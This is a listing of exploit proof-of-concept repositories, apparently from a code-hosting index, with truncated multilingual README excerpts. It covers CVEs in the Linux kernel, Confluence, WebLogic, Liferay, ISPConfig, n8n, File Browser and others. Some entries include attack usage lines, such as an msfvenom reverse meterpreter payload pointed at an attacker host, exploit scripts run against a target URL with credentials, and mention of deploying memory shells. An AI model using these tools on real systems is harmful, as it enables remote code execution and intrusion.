CVE-2022-0847-Exploit-Implementation

CVE-2022-0847 利用实现 这是一个概念验证（POC），展示如何利用 CVE-2022-0847（"脏管道漏洞"）在远程机器上弹出反向 bash shell 以执行任意代码。 该漏洞仅影响 Linux 内核版本 5.8 及更高版本，但已在版本 5.16.11、5.15.25、5.10.102 及更高版本中得到修复。请更新你的内核 : 该漏洞由安全研究员 Max Kellermann 发现。我不会深入介绍该漏洞的细节，因为他在他的文章中比我做得更好；https://dirtypipe.cm4all.com/...

spd_flasher

CVE-2022-38694 固化方法 — RP2350 USB Host 自动刷机器 English README 教学文档 UDX710 启动链逆向与 RP2350 固化开机教学 利用 CVE-2022-38694 Unisoc BootROM 漏洞，通过 Raspberry Pi RP2350 USB Host 实现一次性开机发送 SPL Loader，启动任意 u-boot。 将原本需要 PC + spddump 完成的漏洞利用流程固化到 RP2350 微控制器 — 插入设备即自动完成，支持循环刷机。 原理概述 CVE-2022-38694 是 Unisoc BootROM...

cloudpanel-2.4.2-CVE-2024-44765-recovery

CVE-2024-44765 は、MGT-COMMERCE GmbH CloudPanel バージョン 2.0.0 から 2.4.2 における不適切な認可（アクセス制御の設定ミス）の脆弱性です。 1. 各フォルダの指示に従ってください（これはローカルで行う必要があります） 2. パスワードとアクセス権をリセットする for root $ sudo passwd root while for users $ getent passwd | grep -vE "nologin|false" | cut -d: -f1 $ sudo passwd 3. 不正なアクセスを削除する $ geten...

cve-2021-25646

Apache Druid リモートコード実行 脆弱性概要 Apache Druid は公式セキュリティアップデートを公開し、リモートコード実行の脆弱性（CVE-2021-25646）を報告しました。Apache Druid はデフォルトで認証が不足しているため、攻撃者は特別に細工したリクエストを送信し、Druid サーバーのプロセス権限を利用して任意のコードを実行する可能性があります。 Apache Druid は Java...

CVE-2023-46818-python-exploit

CVE-2023-46818 漏洞利用 这是影响 ispconfig 3.2.11 及之前版本的漏洞的原始 PHP 脚本的 Python 版本。 原始 PHP 源码：https://packetstormsecurity.com/files/176126/ISPConfig-3.2.11-PHP-Code-Injection.html 此概念验证仅用于教育目的。 使用 python exploit.py http://10.10.10.10/ adminuser passwd 漏洞描述 通过 "records" POST 参数传递给 /admin/languageedit.php...

CVE-2025-47917

CVE-2025-47917 Exploit mbedTLS の Use-After-Free 作者 : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-47917 脆弱性 : mbedTLS 3.6.4 の名前解析における Use-After-Free UAF 説明 このリポジトリは、mbedTLS ライブラリの mbedtlsx509stringtonames 名前解析関数における Use-After-Free...

CVE-2020-14882

CVE-2020-14882 による冰蝎メモリシェルの展開 周知の通り、CVE-2020-14882 は認証バイパスの脆弱性であり、攻撃者はこれを利用して影響を受ける WebLogic Server 上で任意のコードを実行できます。 インターネット上で公開されている POC では、不正な文字を使用したアクセスバイパスを行い、Gadget を利用してコマンド実行を呼び出しています。しかし、実際のアプリケーションシナリオやレッドチーム攻撃では、単にコマンドを実行するだけでは不十分です。このため、認証バイパスの脆弱性を利用してメモリシェルを展開する方法が重要になります。...

CVE-2020-12124

IoTエクスプロイトの構造：ハンズオンからRCEまで 原文はこちら：https://www.klogixsecurity.com/scorpion-labs-blog/anatomy-of-an-iot-exploit-from-hands-on-to-rce 執筆者：David E. Baker、公開日：2023年6月1日 はじめに この調査は、2020年6月時点のWavlink Wireless-AC1200...

CVE-2026-98318

A flaw was found in the Linux kernel's SMB Server Message Block client. When handling absolute symbolic links on mounted shares, the client fails to validate the link target format before applying Windows NT path adjustments. A user with write access to a mounted share can exploit this...

cve-2023-22527

Confluenceメモリ内での任意コード実行 CVE-2023-22527 は、Atlassian Confluence に影響を与える広く知られた脆弱性です。この脆弱性のほとんどのエクスプロイトは、オペレーティングシステムのコマンドを実行するために freemarker.template.utility.Execute を使用しますが、それよりもはるかに優れた方法があります。このリポジトリには、ディスクに触れることなく（少なくともユーザーが指示するまでは）ペイロードを実行する、CVE-2023-22527 の go-exploit 実装が3つ含まれています。...

CVE-2019-9766

CVE-2019-9766 利用 Free MP3 CD Ripper2.6 版本存在的缓冲区溢出漏洞，构造特殊的 MP3 文件，攻击者在使用播放器进行播放时，音频文件蜜饵利用缓冲区溢出漏洞执行任意代码。 复现 攻击机：kali201903 192.168.198.142 受害机：windows10 21H1 192.168.198.137 在受害机上安装好 Free MP3 CD Ripper 2.6，在 kali 机上利用 MSF 生成反向连接 shellcode： msfvenom -p windows/meterpreter/reversetcp...

objdump-Out-Of-Bounds-write

GNU Binutils objdump — OOB書き込み → FSOP → 任意コード実行 対象: GNU Binutils 全バージョンからHEADまで — objdump 環境: Debian 13 Trixie, glibc 2.41, x8664 影響: 任意コード実行 経路: 細工されたELFファイルをobjdump -gで処理 ASLR: バイパス 決定論的mmapデルタ 謝辞 bikini 氏には、この発見に関する紹介とフェアプレイに心から感謝します。彼は素晴らしい人物で、お話しできて嬉しかったです。彼自身も素晴らしい発見をしています。彼の成果をぜひご覧ください！ 脆弱...

CVE-2026-35585-poc

CVE-2026-35585: File Browser OSコマンドインジェクション PoC English version 概要 このリポジトリは、File Browser （バージョン 2.0.0 から 2.33.1）で発見された重大なOSコマンドインジェクション脆弱性 CVE-2026-35585 のProof of Concept（PoC）です。 この脆弱性は「Custom Command Hooks」機能に存在します。シェル実行時に $FILE や $USERNAME...

CVE-2022-29337

CVE-2022-29337 C-DATA FD702XW-X-R430 v2.1.13X001 には、formlanipv6 の vacmd パラメータを介したコマンドインジェクションの脆弱性が存在することが判明しました。この脆弱性により、攻撃者は細工されたHTTPリクエストを介して任意のコマンドを実行できます。...

n8n-CVE-2025-68613-exploit

n8n - CVE-2025-68613: 動的に管理されるコードリソースの不適切な制御 脆弱性 n8nは、ワークフロー式評価システムに深刻な任意コード実行の脆弱性を含んでいます。特定の条件下において、ワークフロー設定中に認証されたユーザーが提供した式が、基礎となるランタイムから十分に隔離されていない実行コンテキストで評価される可能性があります。 影響を受けるバージョン 影響あり: n8n = v1.122.0 必要条件 n8nインスタンスへの認証されたアクセス ワークフローの作成/編集権限 再現手順 1. 新しいワークフローを作成 「Add workflow」をクリック 2...

CVE-1999-1053-PoC

CVE-1999-1053 概念验证漏洞利用 背景 此概念验证（PoC）漏洞利用的灵感来源于 HKCERT CTF 2022 中名为 CVE 1999 的 CTF Web 挑战赛。（相关 Writeup 链接） 信息 描述： 在 Matt Wright Guestbook Matt Wright 的 guestbook.pl = v2.3.1 CGI 脚本存在一个可能允许任意命令执行的缺陷。该漏洞要求在 guestbook.pl 脚本中启用了 HTML 发布功能，并且 Web 服务器必须为 '.html'...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails 3.2.22.2未満、4.x系4.1.14.2未満、4.2.x系4.2.5.2未満のAction Packでは、アプリケーションによるrenderメソッドの無制限な使用を悪用することで、リモート攻撃者が任意のRubyコードを実行できる脆弱性があります。 リソース https://vulners.com/cve/CVE-2016-2098 使用方法 このエクスプロイトスクリプトを使用するには、3つのパラメータが必要です。 1. 脆弱なWebサーバーのWebページURL 2. コマンド注入の可能性がある脆弱なパラメータ 3...

CVE-2020-7961-payloads

CVE-2020-7961-payloads 在 Liferay Portal 7.2.1 CE GA2 之前版本中，对不可信数据的反序列化允许远程攻击者通过 JSON Web 服务 JSONWS 执行任意代码。 步骤1 在 LifExp.java 中编写你的 payload 步骤2 使用 javac 编译 步骤3 设置你的日志服务器（也许你想用 "Burp Collaborator Client"） 步骤4 运行 poc.py ....享受吧 ; 😇 poc 代码由 mzer0one 编写 🙏 https://github.com/mzer0one/CVE-2020-7961-POC...

CVE-2019-16941

CVE-2019-16941 概念実証（PoC）： この脆弱性は、トリガーされるために複数の比較的起こりにくい条件を必要とするため、その悪用可能性は限定されます。しかし、任意のコード実行につながる可能性があるため、ペイロードの準備には少しの労力と理解しか必要ありません。 ペイロードの作成： ターゲットに実行させるペイロードを作成するには、Ghidraに組み込まれているスクリプトを使用できます。これにアクセスするには、「Window」→「Script Manager」をクリックし、Code...

CVE-2022-26134

CVE-2022-26134 - OGNL 注入漏洞 在受影响的 Confluence Server 和 Data Center 版本中，存在一个 OGNL 注入漏洞，允许未经身份验证的攻击者在 Confluence Server 或 Data Center 实例上执行任意代码。 PoC： git clone https://github.com/kh4sh3i/CVE-2022-26134 cd CVE-2022-26134 python3 cve-2022-26134.py https://target.com CMD 使用 curl 命令的示例： curl --head -k...